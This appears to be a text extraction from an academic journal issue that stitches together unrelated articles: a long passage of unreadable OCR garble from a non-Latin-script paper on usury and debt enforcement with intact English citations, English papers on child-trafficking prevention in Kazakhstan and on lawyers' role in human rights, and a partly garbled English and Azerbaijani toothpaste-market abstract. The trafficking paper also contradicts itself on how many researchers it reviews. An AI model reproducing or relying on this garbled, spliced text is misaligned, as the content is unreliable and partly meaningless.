Jmbaodsl yoymmdbab. dodngmmbdn 30 LyLbol YBMNb3lgmMyma3obozal godmnygbgdmes
1ndfhmo3n o dmdmo3zn gmbgds, dogomomo@, dnfs, Lobmo o o.d. MmImIdog 35emab
a8osnbeammodnl dgdombzgssdn 3hgan@mmal bosnogdsdo goosEnmeEs. d3gm sogbdo 30
(h396L Hamosmmogbzsdg VI Loysnbg), Mmeglsg dmbsbegmdnl PdMozmalimods 39eMyddn

7 Lawal, I. M. (2016). Riba (Usury); A Tool that Should Be Carved Out of Financial Transactions. Turkish Journal of
Islamic Economics, 3 (2), 13-24.
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hogzenm, dmbo goyns3s o3mdomgl. 30l bogzmo, 306mMbAydMMOLT EosEanby, Mmad
bbb Yo ymxzngnoym NBMMb3gMmymaznmao G3nMmonm, gnMomonn b ydmozn Jmbadnon.
nbyMm Lodomomomdn Lglbolb BMNb3gMyma3nl AnBbNm ELLEB3700 nym dofhal, domydal 56
bobMad0l EOgNMy3700, 0MIES 3MYENEMML oM 3JMbES YBRMIdY, ESgNMe37301mM0o Jmbady
©300&MMLaeb Bogmm 30l LMymoe EsxsM3s807.8

Mo dggbgds AmMbmosl - d3gm dgbm3mEodnadn 30mab KBMYb3gmymaznls bLodysmgds
bdnms godmnygbadmes dm3semals mysbol Ha3Mda. 93mbmadniyMma 3Mhabalgdal 3ghomedo,
Mmmegbsg amobgdl 30mol gosbs oM djgdmmo, obnbo 3oMas3bab dnfHadl o
3Myeo@mmadnls 3mbyds ndzgmebab.
0000MMbYM LodsMmmomadn sMlbgdmds EIGSMYMa smoEbss Lylbbydal NBMMb3gmMymaznls
dolobgo, Lol xodLoMmydms, Mmd gnmome dyndmydmeEs dogomo sy dbmenme
Jmbaods, vMmedge dm3zsmal mysbol H33Mxd0E — Mmoo, d30eMg00 sb dmbydn. 0mdEs, sLgon
dmbmos dgdmoazamamadmes bydn Hmal 30no.

30M0l  goonbgmmonl dggaqdn smodsmEm g3mbmadngyM, oMmsdge LmEnsmyM,
3mmMo@ngnh o nmE&nhnmm LgMmmadl gbgds, s80&mT, o3 Loznobol gobbom3znLsl
dbnd3bgammzsbons obEmmoyman  3mbBaJuENls o 0vbsdgmmszy  dnagmdgonls
0b6E&aM0Mmyds, 3obLosnomydno nd 93mbmdnsnm LnLE)dgddn, Mmdmydog LoLEIYM ©o
130bsblyMm 3MmdmMYdgoL gobnznsb.

00b53gMm3y  Lobymadhoxzmgdn 3smol  smbMmMydol Myagymomadnlol bdnMmo
AMongoynm  9930b60Bax0L  (magmMogss Jdmbgdal Asdmmomdg3s ob Loudsmorgngdmnzn
3olybolidggdommos) v3Mhonsbgdgb LmEnsmym Mysdomo@oEnolmasb. gl dneagmds dnbbo
obobogl oy dbmeme  3Maea@mmol 0bEMaLgdNl  oE3sL, oModyE  ©ldnEmMls
doLodmgdMMONl SMEE]bsL, Moo ngn 33emMo3 3Mhmend&oymoe hsgmorml g3mbmadngnm
LogBnsbmosdn. °

dfMo35mM J33Ysbodn 39mbmbogmymn 30l goonbgmmdnls Mggnmomgds gogm&madal
30bmbAadmMmMonl bofomons. 0mdie, BoBagnMho 30Mydol gosmEMadnl 3MmEaywenmhyodn,
mmamm Habo, 13Mm FoMmE030 S MNdYMsMTMny, 30MY 3MM3MMoG Mo gosmEmyodnls
dq0mb3g30d0. 9L gob3nfmogdymons ndnm, Mmad: 1. LabgmadHoxzmydn MM, onE350
©900&MMIdal domoooean Lognmmgogdn (Logbm3zmgdgman, dgdmbozmol dnbndsenymo
Pyomm). 2. 93mbmdngyhn MysdnmMa@oEns — 30mmal bofommomnszn o6 Lo AsdmPHamal
099ob0Bdgdon byl 9Hymdl  dmzsmaos bymobms  0bBgamogasl g3mbmadngyMm
BogB0BMOS3N. 10 39MLmbagyMn  3smMals goonbegmmdnl 83806333530  oHaLIdYMO
LobdENgd0 9BLBBYMYdS Mt dofhooo dnBbsbL:
1. 3M7396300 - bLB3s 3MEbNMn JdaEMMldnLM30L Yofmymaznomn dm@n3ssnnl dgddbs s
2. 3m333bLoEns- 3han@mmal nbEyMmgLladals onMoEomMo ESE3S.
Mo d99b700 8odmaf333 0B MMOL, 300l gosnbgmmos dgodmids 3sdmH3gnmao nymbs
mML-0s3mMyman 80Mydmyd300m, Lbmodngd&yMo RoJBHMMYdom (LoBoMBSE3Y,
18NMI0IMYMa3S, 35bBMOB3s) s o.0.,

8 Levinthal, L. E. (1918). The early history of bankruptcy law. University of Pennsylvania Law Review, 66
(5/6), 223-250

° Rougeau, V. D. (1996). Rediscovering usury: An argument for legal controls on credit card interest rates.
University of Colorado Law Review, 67 (1), 1-46.

10 Sharawy, H. M. (2000). Understanding the Islamic prohibition of interest: A guide to aid economic
cooperation between the Islamic and Western worlds. Georgia Journal of International and Comparative
Law, 29 (1), 153-179.
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obEmMmaoymo, Lobbemal Lodsmomol dnagmads godmnygbgdmms y3gms dgdombigzsdon,
0madEs 00bodgemmszy Lodshoomdn gom3smabHnbrdymos gobdslbze3z70gmo dnagmady,
MHmamMoEss 0dYmMId0m0 sObMmYMId0l 0hndn MBoldngdgdn s Jmbgdal AsdmmmBg3s.t

mhmammi osmnbndbs, d3gm mmda 35mal  goonbogmmos bdomos ©MsTsGm
do9890L 0§393s. FogMmad 71337 0ma30567000m 0hnbs mo30 3y3sbymds dnagmdgodos.
MmmamMmE smdmbszmyMm, aby Esbozmnm Emonngddo AsbL Loghonm doagmads - 35l
SbMYMYdS ot YbY gomoddbomaym 3nmm3bgdnl shlgdmodalm3ol Loxzmoby. Mgl gL
3Mnbin3g0n  AsdmysmndEs  Lodshomadmns bmMmadgooe  ©o  sbobzs  33m3o
30bmbAEadMmMosdn, ;sbodgmma3zy LobgmadHoazmadn sa)bg0 BM3zsmb - Mog gnemolbdmol
0oL, MmA dg0mbLv3zmMal gomM3339mn bafomal gosbg3znbids oM Pbs gobbmMmsnymmegl,
Mobsg  “bosmbgdm  80608980”  gfmegds.  Lodommzgmmdnt?  d38mbsgmols  dbmammeo
8oM3379m0 3MmEab@&o 77330005Mads 3Mbaznlizognol, sdsbosb, LMo @LsEnmNs
8000by30b700Lgsb  Lmgnommyfo  obdomgds @o 39bLns. Moy dgabgds  g3tm3ymon
3Mod&n3ol - ggMmdobnsadn, dsgsmomoE, SMhLgdmoL "sgnmmo Jmbjdol" g@smmymn Lo,
fmadgeog dmoEasL: bofmmb o domnms ©39%L; Lodydom bymbLshymadls s 0s3d300
Logebdoboogdm B603MYdL. 0YIES 39hYEIdN; 3Mod@nsnm  amydsl. doMmomamony,
306mbo  0m35mMaLHnbadl egdn@mmals domomon Fmonbm3bomydgdol ©oE3sL, dogMmad
fhgoemnm gbm3zmgdsdn bdnmo 36370000 0lgo RJBIOL, MmEabss  3MbzlzsEN0L
3mmeglbo 093936 Egdo@mMMal  LmEnosmym obBmmosnsl; 35emol MEYbmds sMxdeBgods
©00@&MMal  Myoemym  dgLodmMyademogoly o bdoMmos dx0mb3g3300, MmegLsg
530b60bEMIENYMN boMxgd0 sMsdnbobdgfmbms nbBgdes.

0030 2. 30l sbfnmgdal abGmmMoymo s Msbsdgemmsg 3gdebnBdgdn: AmMbmdnsb
LmEnomnm 3olmbolidggdmMmmdsd)

sthdonm LdbBMasEmMydxddn 350l gosnbgymmdnls 3mdmydnl gomsfy3g@ol gfho-
960 Mo03omYM0 3MMBS nym “Bmbmdnl” nbLE0EAN. 9U 3MmogEn3s anmnbbdmocs:!3

1. 30Mon EsIM3nEIONMIONL odysmyosls 3hamn&mmabs s xda@mmals AmMmal

2. 3m3no0 39MEYOTNMI0700L gobLobmamols 3oemal mgbmdols dgLsdsdnbv
3.00@3M3700MoEomMm  gosEadol - 35mal 39M@yOMI0300 bBdoMmom  FoEBEOMEDY
898330Myndby. 1

Mmmdob bodsmomamdn 33sa30mE nym goHafmoman, Mma 3Myeo@mmb 3Jmbs Na3Mds:
- aggnMmy dnEMMO;

- 399b60MANB00bs ngn 01o30L AgyMbymdsdo;

- 350l LoboizmMmme dngmm dobin dMmdnoo dmabsbymgdy;

0mMaEY, 853MMYMOE, 350Mmbn nc35mMalfnbyds gom3izanm Bm3myoU:

- 3008 mMM0L moMmbgoal EOE3L;

- mxob;ob 30380Mmnl dgbotmhAnbydal dglbodmadmmodsls;

1 Vincent, J. (2014). Historical, religious and scholastic prohibition of usury: The common origins of
Western and Islamic financial practices. Law School Student Scholarship. 600.

13 Yavas, M. (2009). Confiscation of Salaries and Wages [Maas ve Ucret Haczi]. Tiirkiye Barolar Birligi

Dergisi, 84, 93-120.
14 W. Schuchke. Walker W., enforcement and interim legal protection. Cologne, 1999, paragraph 329.
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- dofmooon bognfmgdgdnl ybMnb3gmyma3sl;

abEmMmonmo  g3meyEns  oh3gbgdl,  Mmagme  dgng3sms  dnEamdgdn  30fMo@n
©53mM3000307mMmad0L 0bLENENEIONESL nyMaayme MyanmMamldymM Phonymomogdby;
3mmad&oymo 3oLbnlbidggdoMmdNsb nbn3nEsmMNM 35MEJ0OYMY070%7;
BobxgMOMBLMYEMIdIMN BoEamB700sb MysdomModssnnm 8nagmadgdty;!?

00bodgemm3zy  Ladomomomn  seoMmmol  dgobomhAnbml  amo3s@mMn  domsbln
3Mhgeodmmmol 0b&aMmabadol 3oL o ©zda@¢mMMal  dglbodmadmmogdl dmMob. gL
doagmds  obobosl  gn3znmabsgnol gobznmomaxdol Bmas  G3babinsl  Lovdshorgmals
318560Bo300Ls s bmEnamyma 3slmbaliBggdmmonls godmogmadsls.1e

©oli336o

©o3360L Lobono dgndmyds nmg3sl, Mmd 35mol goEsnbEymmosl oJ3l Yofmymxsnomn
8o3mbs  MmamME  Eom3gym  3MIEnEMMYdBY, obY3]  J3MbmBogym  LobEGIBsBY
domosbmosdn.  abEmMoymoE, 35mob  sobymMydol  dgdebotdgdn  doMmoosoE
3Mhan@mmols 0bEMaLYdNL EoE30L gnenobbdmos, Mol Bdnmo 3303M o vModndsbym
LObJ3070L n§3730Y, gL FnEEMAYd0 3odmMnbozs CJdNEMMAL LMEnsmMYM s g3Mbmadnsnm
Mo00MNESENSL.

©MoLbEMINLMOND, 300l SOLMYEYdNL MIZNMSENION PBRMM ESOSMSBLYOYMO Y
310569M0y, gb 33eMm0EM70700 30 Mo Abmenmee LydsmmmMgdMnzn, shsedge 3030mMnbBoENYMO
3fmamglbol doh306909m0s, MMTgmMmog 99M0sbgdl g3mbmdnsnm 9BIIGHIMMOsLy o
LmEnsMYm LETSMNMNSOEMOSLM L.

gl g3myEns oMo dbmmme  Lodomomol, oMmsdge  dogemn  3030eM0BdE0NL
8563000M700L 35h376709mMNs. Mmamt g 3MLban Boenmbmazmbin dmbEJL3INg sMbndbs3e:
"bodomomomon Mbws aymb abgonzg ByLbEn, Mmamy docgxds@niyma 3mMmdymy, dogmmsd
503037 ommb - nbgon3g 3ndsbyMma, mgmMmi JMobEnsbyoman dmdm3amgds".
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Introduction

Child trafficking is a grave issue in contemporary society, infringing upon fundamental
human rights and undermining the pillars of social security. Despite concerted international efforts
to combat this criminal activity, it remains a pressing concern in numerous countries worldwide,
including Kazakhstan.

The fight against child trafficking demands continuous improvement and adaptation to
evolving threats, drawing upon the best practices from around the globe.

The issue of child trafficking is particularly acute in times of socio-economic instability,
armed conflicts, and migration crises, where minors become the most vulnerable group. Limited
public awareness of the extent and forms of this crime, as well as difficulties in detecting and
dismantling such criminal networks, pose challenges for law enforcement agencies and social
services. This underscores the need for a comprehensive approach that encompasses legal,
preventive, and educational measures.

The relevance of this study lies in the need for a thorough analysis of current national and
international initiatives to combat child trafficking. In Kazakhstan, as in many other countries,
active steps are being taken to strengthen laws, improve law enforcement, and develop social
programs to protect children. Despite these efforts, however, the issue remains pressing,
necessitating a closer examination of successful measures used elsewhere and their potential
application to our national context.

This research aims to examine Kazakhstan's approach to addressing child trafficking and
compare it to that of other nations. It will identify effective strategies employed by these nations
and propose recommendations for their implementation in our country.

The scientific novelty of this study lies in a comprehensive analysis of Kazakh and
international experiences in combating child trafficking. The analysis identifies key trends,
problematic aspects, and areas for improvement in child protection policies.

Specifically, the study examines modern digital technologies, legal innovations, and
interagency strategies used to prevent child trafficking and protect children's rights. It identifies
strengths and weaknesses in the current system for combating trafficking in Kazakhstan.

Literature review

The issue of child trafficking has been widely discussed in the international academic
literature, and numerous authors have proposed various approaches to studying, analyzing, and
preventing it. Let us consider the work of four researchers from different countries: two from
China, two from Kazakhstan, and two from other foreign countries who have significantly
contributed to our understanding of the mechanisms behind child trafficking and the methods for
combating this issue.
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Foreign studies provide a comprehensive perspective on the issue of child trafficking,
encompassing legal, sociological, and economic dimensions. T. Washburn in his work, explores
contemporary forms of slavery, including child trafficking, and identifies the economic factors that
contribute to this phenomenon(1]. He delves into global chains of exploitation and advocates for
the reform of international laws to effectively combat this issue.

Another foreign scholar, A. Khamzin, Y. Buribayev, K. Sartayeva provides a detailed analysis
of the international criminal networks involved in human trafficking, including child trafficking[2].
They examines the mechanisms that governments can employ to prevent this phenomenon.
Authors emphasizes the transnational nature of criminal organizations and the importance of
international collaboration in addressing this issue.

Chinese researchers are also actively investigating the issue of child trafficking, focusing on
its unique aspects in China and other countries with similar socio-economic circumstances. L.
Han delves into the root causes of child trafficking in China, including economic disparities and
weaknesses in the social safety net[3]. The author proposes measures to enhance monitoring and
enforcement.

Another notable study is R. Creemers work, which thoroughly examines the existing legal
frameworks and their efficacy[4]. He underscores the significance of collaboration between
government agencies, civil society organizations, and international bodies.

Kazakh researchers also address the issue of child trafficking, particularly in the context of
law enforcement and preventive measures. In his article ~ A.  Khamzin examines the national
system for combating this crime, assessing the effectiveness of legislation and the work of
government agencies[5]. The author highlights the importance of interagency cooperation and
the need for stronger measures to protect minors.

K.Zhakenov and his colleagues, in their work presents a comprehensive analysis of
statistical data and factors contributing to the involvement of children in criminal schemes.

Thus, the presented works allow us to better understand the complex nature of the issue
of child trafficking, identify key challenges, and propose effective strategies for combating it both
at the national and international levels.

Research methodology

As part of the research on the issue of combating child trafficking in Kazakhstan and other
countries, the following methods were employed:

Comparative analysis - this method allowed for a comparative examination of the
legislative, institutional, and practical aspects of child trafficking prevention in Kazakhstan and
overseas. It provided an opportunity to identify strengths and weaknesses in existing mechanisms
for addressing this issue, as well as to identify best practices that could be adapted to the local
context.

Content analysis of regulatory frameworks and official reports - this approach was used to
examine international conventions, domestic legislation, and reports from governmental and
international organizations regarding child trafficking. This allowed us to assess the extent of legal
regulation on the matter, identify gaps in current regulations, and propose recommendations for
improvement.

Results and discussion

Kazakhstan, as a country that serves as a transit point and destination for migrants from
neighboring countries such as Russia, Kyrgyzstan, Tajikistan, Azerbaijan, and Uzbekistan, has seen
an increase in both internal and international migration in recent years due to various global
events.

Every day, thousands of undocumented migrants travel through Kazakhstan's unofficial
border crossings in search of seasonal work and the opportunity to emigrate. These individuals
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and their accompanying children are particularly vulnerable to human trafficking due to their
unresolved immigration status.

To address these challenges, the Kazakhstan Actions Against Trafficking in Children
(KATCH) project, funded by the U.S. Department of State's Office for Monitoring and Combating
Trafficking in Persons, aims to create systemic change by strengthening the capacity of individuals
and organizations to help trafficked children and vulnerable families of migrant workers. The
project takes into account the best interests of these children in its approach.

Children and the psychological traumas they experience, as well as improving
interdepartmental coordination and enhancing the effectiveness of the child protection system in
South Kazakhstan, are all important aspects that need to be addressed.

The law “on combating human trafficking” has entered into force in Kazakhstan. the head
of state signed the law of the Republic of Kazakhstan “on combating human trafficking” on July 5
this year. The law will allow victims to better understand their rights and protection measures
from the state. Guarantees to protect the rights and interests of victims will encourage them to
contact the police and help bring cases to court. All the rights of victims of human trafficking that
are currently in force are preserved and reflected in the Law[7].

In 2023, 19 criminal cases of child trafficking were opened in the country. These shocking
crimes, which violate all ethical standards and human principles, involve employees of
orphanages, staff of perinatal centers, and parents who willingly agreed to sell their own children
for various reasons.

This year, six cases of child trafficking have been reported in Kazakhstan. It is important to
note that the list of crimes against children and adolescents is extensive and not limited to
trafficking in human beings.

According to the laws of Kazakhstan, the act of trafficking in minors is a criminal offense,
punishable by up to 18 years in prison. These severe penalties will deter many criminals from
considering actions related to various forms of slavery.. However, it is not sufficient to rely solely
on the government and law enforcement agencies. Every citizen of Kazakhstan must demonstrate
zero tolerance for human trafficking and report any suspicions to the appropriate authorities.

A comparative study revealed that advanced nations, such as the United States and the
European Union, prioritize digital tools for identifying and preventing child trafficking. In contrast,
China is actively implementing a multifaceted approach, encompassing stringent migration
controls and social initiatives for vulnerable populations.

Kazakhstan should enhance its digitalization efforts in monitoring and prevention, drawing
upon international best practices. The primary obstacles in Kazakhstan persist: the lack of effective
collaboration between governmental bodies, the dearth of specialized rehabilitation facilities for
affected children, and the limited public understanding of the dangers of child trafficking. There
are many misconceptions about human trafficking and labor exploitation in Kazakhstan. Many
people believe that people from disadvantaged backgrounds, such as orphans, and those with
alcohol addiction, become victims of slavery. However, in reality, anyone can fall victim to slavery.

A review of international legal instruments has revealed that Kazakhstan is a signatory to
the following key treaties:

The Convention on the Rights of the Child, adopted by the United Nations in 1989,
guarantees the fundamental rights of children and requires member states to safeguard them
from all forms of exploitation[8].The Optional Protocol to the Convention on the Rights of the
Child, which was adopted in 2000, addresses the sale of children, child prostitution, and child
pornography. It imposes obligations on countries to enhance criminal penalties for trafficking in
children and related activities.

A comparative analysis of international experience has identified several effective
approaches to addressing child trafficking:
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- The United States is using data analysis and artificial intelligence to identify criminal
groups involved in child trafficking. Kazakhstan could benefit from implementing similar digital
tools, such as creating a unified database for vulnerable children and automated systems to track
suspicious movements of minors.

- EU countries focus on interagency collaboration and comprehensive child protection
measures. Kazakhstan should establish cooperation mechanisms between various government
agencies, including the Ministry of Internal Affairs, Ministry of Justice, and Ministry of Labor and
Social Services.

- China has successfully implemented strict legislative measures and controls on migration
flows to reduce the risks of child trafficking. Kazakhstan should consider developing similar
mechanisms to monitor and suppress criminal schemes related to child migration.

The results of the content analysis revealed that Kazakhstan is actively engaged in
combating child trafficking, but there are areas that need improvement. These include law
enforcement practices, digital monitoring of crimes, and the system for protecting victims.

The experiences of other countries demonstrate that a comprehensive approach,
combining preventive measures, legislative reforms, and technological advancements, is the most
effective strategy.

Kazakhstan must enhance interagency collaboration, develop digital tools for detecting
criminal networks, and improve the social reintegration system for victims of child trafficking.

Conclusion

The research conducted has allowed us to gain a better understanding of the issue of child
trafficking in Kazakhstan and other countries, identify the main challenges in combating this crime,
and propose possible solutions.

Our analysis of international and domestic legal frameworks has shown that Kazakhstan is
actively participating in global efforts to combat child trafficking. However, there are still gaps in
law enforcement and protection for victims. The main challenges include poor coordination
between government agencies, inadequate digitalization of monitoring mechanisms, and limited
access to rehabilitation programs for survivors.

A comparative analysis of foreign experience in the USA, EU and China has revealed several
effective practices that could be adapted in Kazakhstan to combat child trafficking. These include
using digital technologies to monitor such cases, strengthening preventive measures, and creating
specialized victim assistance centers.

To effectively combat child trafficking in Kazakhstan, an integrated approach is needed that
includes legal, technological, social, and educational measures. This approach should be
implemented by the state, law enforcement agencies, international organizations, and society.
Only through joint efforts can the level of child trafficking be significantly reduced and children's
protection ensured.
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Introduction

The legal profession is an essential part of the rule of law system, ensuring the protection
of human rights and freedoms. In today's world, the work of lawyers in promoting human rights is
particularly significant, as they serve as intermediaries between citizens and government
institutions, guaranteeing fairness and legal protection throughout the legal process.

The importance of advocacy has been increasing in recent years, particularly in the context
of democratic society. Lawyers play a crucial role in protecting the interests of citizens and
contributing to the development of a strong legal culture. They provide qualified legal assistance
and help to establish a culture of justice and rule of law.

Lawyers are essential in preventing judicial errors and abuse by law enforcement agencies.
They act as a safeguard for procedural norms and ensure that everyone has a fair trial. Their
independence and professional ethics help to balance the interests of the state with the rights of
individuals, which strengthens confidence in the justice system.

The purpose of this research is to analyze the role of lawyers in ensuring human rights and
freedoms, as well as to identify key areas of their activities and consider existing challenges and
prospects for the future development of this profession in the context of modern legal regulations.

This topic is relevant due to the increasing need for effective legal protection for citizens
in the face of rapid legislative changes, globalization, and the digitalization of legal practice. The
world is facing new challenges such as cybercrime, transnational human rights abuses, and
increased government surveillance, which require an enhanced role for lawyers in protecting
individual rights. In addition, reforms to judicial systems and human rights institutions in various
countries make it essential to study this topicin order to develop effective strategies for protecting
citizens' rights.

Literature review

The role of the legal profession in protecting human rights and ensuring freedoms is a key
topic in research on the rule of law. Works by both domestic and international authors focus on
issues such as human rights protection and the activities of lawyers, as well as their impact on the
judicial system.

Researchers emphasize that the legal profession is an independent institution that
provides citizens with access to justice. Scholars in the field of state and law theory note that
lawyers play a critical role in upholding the principles of a fair trial and acting as mediators between
citizens and government institutions[1]. Additionally, the legal profession contributes to the
development of a legal culture among the population, which positively influences the level of
public legal awareness.

Other studies focus on the impact of advocacy on the protection of individual procedural
rights. According to several works, lawyers help prevent judicial errors and ensure fairness in case
consideration[2]. This is particularly important in the context of preventing abuse by law
enforcement agencies and ensuring the independence of the judiciary[3].
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Modern academic literature also examines the role of advocacy in the context of
digitalization and globalization. In today's world, law enforcement faces challenges related to
cybercrime, transnational human rights violations, and the expansion of state control. In response,
the legal profession needs to adapt to these changes, which requires improvements in legislation
and professional training for lawyers[4].

Special attention is paid to issues related to reforming the legal profession and improving
its effectiveness. Researchers emphasize that in order to ensure the independence of the legal
profession, it is crucial to implement legislative initiatives that expand its powers and protect it
from government interference[5]. Additionally, it is essential to strengthen ethical standards in
advocacy and develop mechanisms for international cooperation in human rights protection[6].

The analysis of scientific literature reveals that the legal profession plays a vital role in
safeguarding individual rights and freedoms within the legal system. In today's context, it is
imperative to address new challenges and modernize advocacy practices to enhance its
effectiveness in protecting citizens' rights both domestically and internationally.

Research methodology

As part of the study on the role of the legal profession in protecting human rights and
liberties, the following methods were employed:

Comparative (comparative-legal) method: This method allows us to examine the legal
regulation of legal services in various countries, identify similarities and differences, and assess
the effectiveness of different models of legal assistance. By comparing national and international
standards for lawyers' human rights work, we can identify best practices and potential ways to
tailor them to specific legal systems.

Content analysis: This method involves analyzing written materials, such as laws, court
decisions, and other legal documents, to gain an understanding of how lawyers contribute to
protecting human rights. Through this analysis, we can gain insights into the challenges and
opportunities facing lawyers in their efforts to uphold human rights.

This method involves studying regulatory legal acts, judicial decisions, official reports from
law chambers, as well as publications in scientific literature and media related to law. Content
analysis allows us to identify the main trends in the legal profession's development, identify key
issues related to human rights and freedoms, and evaluate the effectiveness of law enforcement
practices in this area.

Results and discussion

The results of the study are presented in a table comparing the key aspects of advocacy in
different legal systems, along with identified problems and potential solutions(table 1, table 2).
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Table 1. Comparative analysis of advocacy in different countries

Criterion ” Developed legal systems (USA, EU) H Emerging legal systems ‘

High level of independence, bar
associations operate autonomously
from the state

Independence of
the bar

Possible cases of pressure on
lawyers, restriction of their powers

High level of access to legal
Access to justice assistance, including through
government programs

Uneven access to legal services,
especially in rural areas

Regulation of legal ||Strict professional standards and Frequent legislative gaps, lack of
practice codes of ethics clear guarantees of independence
Role in human Active involvement in human rights ||Limited ability to protect citizens'

rights protection advocacy, influence on legal practice |[rights due to government pressure

Pressure on lawyers, weak control
over human rights protection,
corruption risks

Overburdened judicial system, need

Chall
alienges for digitalization of legal processes

Source compiled by the author based on the data[7]

Table 2. Analysis of judicial practice and legal regulations

Identified
Problems

Description Possible Solutions

Strengthening the independence of the
legal profession, improving legal aid
standards

Lack of proper defense can lead to

Judicial errors L
wrongful convictions

In some countries, legal services
remain inaccessible to socially
disadvantaged groups

Uneven access to
legal assistance

Development of free legal aid systems,
expansion of digital legal consultations

In some states, cases of

. . . Strengthening international standards
Restrictions on persecution of lawyers for their

for lawyer protection, enhancing the

legal practice rofessional activities are . L
galp P independence of bar associations
observed
Insufficient Many legal services and court Development of online legal
disitalization processes are not adapted to consultations, implementation of
8 digital technologies electronic document management

Source compiled by the author based on the data[8]

These findings highlight the crucial role of the legal profession in human rights protection
and the necessity for continuous legal reforms to ensure effective legal assistance and judicial
fairness. Promoting human rights and liberties is a crucial task, and advocacy plays a pivotal role
in achieving this goal. However, the effectiveness of advocacy efforts is contingent upon the level
of independence and legal regulation. In countries with well-established legal systems, advocacy
is subject to strict regulations, which enhances the protection of citizens. Conversely, in countries
with developing legal systems, the legal profession faces challenges such as pressure, limited
authority, and weak guarantees of independence. The primary obstacles faced by advocates
include judicial errors, unequal access to legal assistance, and the need for digitalization of legal
processes. To enhance the effectiveness of advocacy, it is imperative to improve legislation,
develop mechanisms for the safeguarding of lawyers, and integrate modern technologies into the
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realm of justice. The research underscores the significance of strengthening the role of the legal
profession in human rights activities and enhancing legal regulation to ensure the effective
protection of citizens' rights.

Conclusion

The legal profession is a fundamental pillar of the rule of law, safeguarding human rights
and liberties. The research conducted has demonstrated that the autonomy of the legal
profession, the accessibility of competent legal assistance, and adherence to professional
standards are essential prerequisites for successful human rights advocacy.

A review of national and international practices has revealed that in nations with a well-
established legal framework, the legal profession is instrumental in guaranteeing fair trials, while
in countries with a developing legal system, there are issues related to lawyer intimidation,
limitations on their authority, and unequal access to legal representation.

The primary obstacles identified in the research encompass judicial mistakes, the lack of
digitalization in legal procedures, limitations on advocacy in certain states, and the need to
enhance the legal framework. To effectively tackle these issues, it is imperative to bolster the
autonomy of the legal profession, establish mechanisms for safeguarding human rights advocates,
and integrate digital technologies into law enforcement practices.

Therefore, the legal profession is instrumental in fostering the rule of law and safeguarding
human rights, and the future advancement in this domain should focus on overcoming existing
obstacles and establishing efficient human rights mechanismes.
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Summary. In the article, maintenance of dental health (SS) is important not only for the normal
functioning of the oral cavity and the long-term maintenance of tooth rows, but also for the
protection of the health of the body in general, and a sales analysis was given. According to the
World Health Organization, among the causes of human diseases, 20% are hereditary factors, 25%
are environmental conditions, and 55% are lifestyle-related. An analysis of the sale of toothpaste
in the Azerbaijani market was carried out, the results of which show that the sales leaders in the
local market are Lacalut, Colgate, Paradontax, Blend-a-med, Sensodyne, Aquafresh. The
population survey revealed both opportunities and barriers to the growth of the hygiene products
market at the level of the toothpaste segment. The research was conducted in two stages. At the
first stage, toothpastes were evaluated according to their composition, abrasive type and pH
indicator. In the second stage, a set of international questionnaires was used, 500 questionnaires
were distributed in 8 markets, including 4 supermarkets.

Keywords: hygiene, risk factor, oral cavity, dental health, toothpaste, marketing analysis,
consumer preferences

Xulasa. Maqgalada asasan stomatoloji saglamligin (SS) saxlanmasi takca agiz boslugunun
normal faaliyyati va dis siralarinin uzun middat saxlanmasi Ggin deyil, Umumilikda organizmin
saglamliginin gorunmasi Uciin da vacib oldugu va satis tahlili verilib. Umumdinya Sshiyya
Taskilatinin malumatina gors, insan xastaliklarinin sabablari arasinda 20%-i irsi faktorlar, 25%-i
atraf muhit seraiti, 55%-i isa hayat torzi ile bagl hallardir. Azarbaycan bazarinda dis macunu
satisinin tahlili aparilib, onun naticalari gdstarir ki, yerli bazarda satis liderlari Lacalut, Colgate,
Paradontax, Blend-a-med, Sensodyne, Aquafreshdir. @hali arasinda aparilan sorgu ham dis pastasi
segmenti saviyyasinda gigienik vasitaler bazarinin boylmasi Gc¢ln imkanlarin, ham da buna
manealarin oldugunu gostardi. Tadgigat iki marhalada aparilib. Birinci marhalada  dis
macunlarinin tarkibi, asindirici névii va pH gdstaricisina gdra giymatlandirilmasi aparilib. ikinci
marhalads, mivafig beynalxalg sorgu toplusundan istifads olunmusdur, 8 marketlards, onlardan
4 supermaketlara 500 anket varagalari paylanmisdir .

Acar sozlar: gigiyena, risk faktoru, agiz boslugu, stomatoloji saglamlig, dis macunu, marketing
tahlili, istehlakcr secimlari
Giris.

Stomatoloji saglamlig badanin Gmumi saglamliginin asas vacib hissasidir. Saglam bir tabassim
tokca gozal deyil, ham da Umumi saglamlig Gg¢ln vacibdir. Stomatoloji saglamhgi anadangalma
gusurlardan, kaskin va xroniki agrilardan, bas, boyun nahiyasinda xarcang, Umumi saglamlig va
rifah GgUn fiziki, psixoloji tahlika yaradan, insanin faaliyyatini, hayat keyfiyyatini asagi salan digar
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problemlardan azad olmagi nazarda tutur. Stibhasiz ki, insanin dis saglamligi bir sira xarici amillarin
tasiri altinda formalasir: igtisadi sarait, sosial vaziyyat va s.[1, 2].

Dis saglamligl Ucln risk yaradan Umumi amillara asas gruplardan olan gidalarin balanssiz
istehlaki (zdlallarin, yaglarin, karbohidratlarin, vitaminlarin ve minerallarin geyri-kafi gabulu)
Umumilikds insan saglamhgi Ggln zaruri olan flUorid gabulunun catismazhgl daxildir. Kariyesinin
9sas sababi dis arpidir. 9rp disin sathinda yerlasan, asasan mikroblardan ibarat olan yapisqan nazik
tabagadir. Orp vaxtinda cixarilmasa, dis dasi amala galir. Orpdaki bakteriyalar tursu amala gatirir,
bu da 6z ndvbasinda dis minasini mahv edarak boslug amals gatirir [3-5].

Stomatoloji saglamhgin (SS) saxlanmasi takca agiz boslugunun normal faaliyyati va dis
siralarinin uzun middat saxlanmasi Ggin deyil, Gmumilikda organizmin saglamliginin gorunmasi
Gcln da vacibdir. Bu magsadla gadimdan muxtalif gigiyenik vasitaler — fircalar, tozlar, macunlar,
saplar, agiz yaxalayicilari va s. istifada edilir. Lakin agiz boslugunun gigiyenasina qullugda yol
verilan sahvlar ona gatirib cixarir ki, artig genc yaslardan insanlar stomatoloji xastalenma va
dislarin itirilmasi ila Gzlasirlor. Ona gora da, insanlarin agiz bosluguna qullug UGzra gigiyenik
vasitalardan hansi daracada istifada etmalari masalasinin dyranilmasi va onlara olan talebat
necadir suall indiys gadar da 6z aktualligini itirmamisdir [2, 4, 5].

Agiz gigiyenas! takca calbedici bayaz tabassiim va taravatli nafasa deyil, har seydan avval
saglamligin gorunmasina va dis xastaliklarinin inkisafinin garsisinin alinmasina yonalib.
Mitaxassislar sarti olarag bitln dis macunlarini gigivenik va mialicavi va profilaktikaya ayirirlar.
